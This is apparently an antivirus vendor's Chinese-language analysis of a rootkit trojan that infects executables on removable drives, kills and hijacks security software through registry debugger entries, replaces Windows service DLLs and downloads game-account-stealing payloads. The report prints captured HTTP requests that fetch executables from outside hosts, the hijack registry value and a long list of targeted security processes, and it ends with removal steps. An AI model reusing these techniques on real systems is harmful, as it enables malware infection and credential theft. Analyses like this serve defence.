Trojan/Win32.Agent.bhta[Rootkit]分析

一、 病毒标签：
病毒名称： Trojan/Win32.Agent.bhta[Rootkit]
病毒类型： 木马
文件 MD5： 64F722B94E9E0D62B175546B22163ADE
公开范围： 完全公开
危害等级： 4
文件长度： 181,617 字节
感染系统： Windows98以上版本
开发工具： Borland Delphi
加壳类型： PEtite

二、 病毒描述：
这是一个感染可移动磁盘中后缀名为.exe文件的病毒。该文件可感染可移动磁盘内的EXE和RAR压缩包中的EXE文件，而且还会替换系统的服务文件、会下载一个压缩包文件、压缩包内含有大量的木马文件、多数为游戏盗号木马，并执行这些盗号木马。

详细分析：
病毒运行后获取磁盘类型如果是可移动磁盘的话，就调用EXPLORER.EXE打开磁盘，创建一个管道"\\.\pipe\{D952F2D0-0BCE-4b2b-8FFF-2317F120FCC3}"，遍历进程查找RavMonD.exe、360tray.exe、MPSVC.exe，如果发现存在以上3个进程调用内核函数强行结束，打开服务设备管理器遍历系统多个服务试图修改感染系统服务文件，来启动执行病毒代码，如果服务设备管理器打开失败则创建注册表服务、衍生病毒DLL文件到%System32%目录下，利用服务启动病毒，修改本机HOSTS文件、释放病毒驱动文件试图恢复SSDT，添加注册表映像劫持，劫持多款安全软件，链接网络下载伪RAR压缩包、该包为加密文件、该包内包含大量恶意病毒文件，大部分为盗号木马！通过病毒解密之后释放多个病毒文件隐藏运行,获取磁盘类型，如果发现可移动磁盘则感染磁盘内所有可执行文件，遍历磁盘类*.EXE和*.rar包内的*.EXE文件在文件尾部添加一个随机字符节，向文件内写入184320字节病毒数据，修改入口点指向病毒代码，在可移动磁盘根目录下创建一个autorun.inf和文件回收站将病毒文件放入回收站里使其双击打开回收站内的病毒文件。。

三、 行为分析：
本地行为:
1、创建一个管道"\\.\pipe\{D952F2D0-0BCE-4b2b-8FFF-2317F120FCC3}"，遍历进程查找RavMonD.exe、360tray.exe、MPSVC.exe，如果发现存在以上3个进程调用内核函数强行结束。

2、打开服务设备管理器遍历系统多个服务试图修改感染系统服务文件，来启动执行病毒代码，如果服务设备管理器打开失败则创建注册表服务、衍生病毒DLL文件到%System32%目录下，利用服务启动病毒。

3、链接网络下载加密后的伪RAR压缩包、该包为加密文件、该包内包含大量恶意病毒文件，大部分为盗号木马！通过病毒解密之后释放多个病毒文件隐藏运行，这些病毒文件一旦运行后就会判断注册表是否有指定的游戏键值，如果没有就释放到%Windir%\temp目录下，如果有则会释放到游戏的安装目录和%Systme32%目录下来进行盗取游戏账号。

4、获取磁盘类型，如果发现可移动磁盘则感染磁盘内所有可执行文件，遍历磁盘类*.EXE和*.rar包内的*.EXE在文件尾部添加一个随机字符节，向文件内写入184320字节病毒数据，修改入口点指向病毒代码，在可移动磁盘根目录下创建一个autorun.inf和文件回收站recycle.{645FF040-5081-101B-9F08-00AA002F954E}

5、文件运行后会释放以下文件
%System32%\drivers\etc\hosts
%System32%\drivers\12C12B06.sys
%System32%\6to4.dll    （如果服务设备管理器打开失败则衍生该DLL病毒文件）     
   
6、试图替换以下系统服务文件来达到开机启动病毒：
appmgmts、qmgr、shsvcs、mspmsnsv、xmlprov、esntmssvc、upnphost、ssdpsrv、netman、mswsock、tapisrv、browser、cryptsvc、pchsvc、regsvc、schedsvc、WmdmPmSN、helpsvc、RemoteRegistry、Schedule
对应的服务文件按顺序如下：
appmgmts.dll、qmgr.dll、shsvcs.dll 、mspmsnsv.dll、xmlprov.dll、ntmssvc.dll、upnphost.dll、mswsock.dll 、ssdpsrv.dll、tapisrv.dll、browser.dll、cryptsvc.dll、pchsvc.dll、regsvc.dll、schedsvc.dll
如果成功替换以上任意一个服务的文件，则不再替换其它服务文件

7、如果服务设备管理器打开失败则创建注册表服务：
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\6to4\DisplayName
值: 字符串: "6to4"
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\6to4\Parameters\ServiceDll
值: 字符串: "%System32%\6to4.dll."
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\6to4\Start
值: DWORD: 2 (0x2)
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\6to4\Type
值: DWORD: 32 (0x20)
       
8、添加注册表映像解除：
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\被劫持的文件名\Debugger
值: 字符串:"ntsd -dntsd -dntsd -dntsd -dntsd-dntsd -dntsd -dntsd -dntsd -dn"
360hotfix.exe、360rp.exe、360rpt.exe、360safe.exe、360safebox.exe、360sd.exe、360se.exe、360SoftMgrSvc.exe、360speedld.exe、360tray.exe、afwServ.exe、ast.exe、AvastUI.exe、avcenter.exe、avfwsvc.exe、avgnt.exe、avguard.exe、avmaiavmailc.exe、avp.exe、avshadow.exe、avwebgavwebgrd.exe、bdagent.exe、CCenter.exe、ccSvcHst.exe、dwengine.exe、egui.exe、ekrn.exe、FilMsg.exe、kavstart.exe、kissvc.exe、kmailmon.exe、kpfw32.exe、kpfwsvc.exe、krnl360svc.exe、ksmgui.exe、ksmsvc.exe、kswebshield.exe、KVMonXP.kxp、KVSrvXP.exe、kwatch.exe、livesrv.exe、Mcagent.exe、mcmscsvc.exe、McNASvc.exe、Mcods.exe、McProxy.exe、Mcshield.exe、mcsysmon.exe、mcvsshld.exe、MpfSrv.exe、MPMon.exe、MPSVC.exe、MPSVC1.exe、MPSVC2.exe、msksrver.exe、qutmserv.exe、RavMonD.exe、RavTask.exe、RsAgent.exe、rsnetsvr.exe、RsTray.exe、safeboxTray.exe、ScanFrm.exe、sched.exe、seccenter.exe、SfCtlCom.exe、Debugger、spideragent.exe、SpIDerMl.exe、spidernt.exe、spiderui.exe、TMBMSRV.exe、TmProxy.exe、Twister.exe、UfSeAgnt.exe、vsserv.exe、zhudongfangyu.exe、修复工具.exe

网络行为:
GET /msdownload/update/v5/redir/wuredirt.rar HTTP/1.1
Accept: */*
Accept-Language: zh-cn
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: 121.11.83.**
Connection: Keep-Alive
描述：链接网络下载加密后的伪RAR压缩包

GET /mac.htm?23 HTTP/1.0
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: 208.98.24.***:8080
Connection: Keep-Alive
描述：链接网络记录安装统计信息

GET /cl/3.exe HTTP/1.1
Accept: */*
Accept-Language: zh-cn
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: 64.32.31.41
Connection: Keep-Alive

GET /cl/23.exe HTTP/1.1
Accept: */*
Accept-Language: zh-cn
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: 121.11.83.**
Connection: Keep-Alive
描述：链接网络下载病毒文件

注：%System32%是一个可变路径。病毒通过查询操作系统来决定当前System文件夹的位置。
        %Windir% 　　　　　 　　　　　  WINDODWS所在目录
　　　　%DriveLetter%　 　　　　　　　   逻辑驱动器根目录
　　　　%ProgramFiles%　 　 　　　　　  系统程序默认安装目录
　　　　%HomeDrive% 　　　　　　　　　 当前启动的系统的所在分区
　　　　%Documents and Settings% 　　　   当前用户文档根目录
　　　　%Temp% 　　　　　　　　　　　　\Documents and Settings
　　　　　　　　　　　　 　　　　　　　  \当前用户\Local Settings\Temp
　　　　%System32% 　　　　　　　　　　 系统的 System32文件夹
　　　　
　　　　Windows2000/NT中默认的安装路径是C:\Winnt\System32
　　　　windows95/98/me中默认的安装路径是%WINDOWS%\System
　　　　windowsXP中默认的安装路径是%system32%　　　


四、 清除方案：
1、使用安天防线可彻底清除此病毒(推荐)。
请到安天网站下载：http://www.antiy.com
2、手工清除请按照行为分析删除对应文件，恢复相关系统设置。
（1）使用ATOOL安全管理软件，结束病毒开启的进程，建议使用
（2）使用ATOOL安全管理软件强行删除病毒衍生的文件
%System32%\drivers\etc\hosts
%System32%\drivers\12C12B06.sys
%System32%\6to4.dll
（3）删除并恢复病毒添加的注册表项
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\6to4\DisplayName
值: 字符串: "6to4"
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\6to4\Parameters\ServiceDll
值: 字符串: "%System32%\6to4.dll."
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\6to4\Start
值: DWORD: 2 (0x2)
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\6to4\Type
值: DWORD: 32 (0x20)
（4）删除注册表被劫持的安全软件：
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\被劫持的文件名\Debugger
值: 字符串:"ntsd -dntsd -dntsd -dntsd -dntsd-dntsd -dntsd -dntsd -dntsd -dn"
(5)恢复病毒替换系统服务文件
appmgmts.dll、qmgr.dll、shsvcs.dll 、mspmsnsv.dll、xmlprov.dll、ntmssvc.dll、upnphost.dll、mswsock.dll 、ssdpsrv.dll、tapisrv.dll、browser.dll、cryptsvc.dll、pchsvc.dll、regsvc.dll、schedsvc.dll
检查以上服务文件是否被病毒替换，病毒替换后的文件大小177KB，如果被替换，进入%System32%\dllcache目录下，找到被替换的文件名，复制到%System32%目录下再次替换病毒修改的系统文件

本人已阅!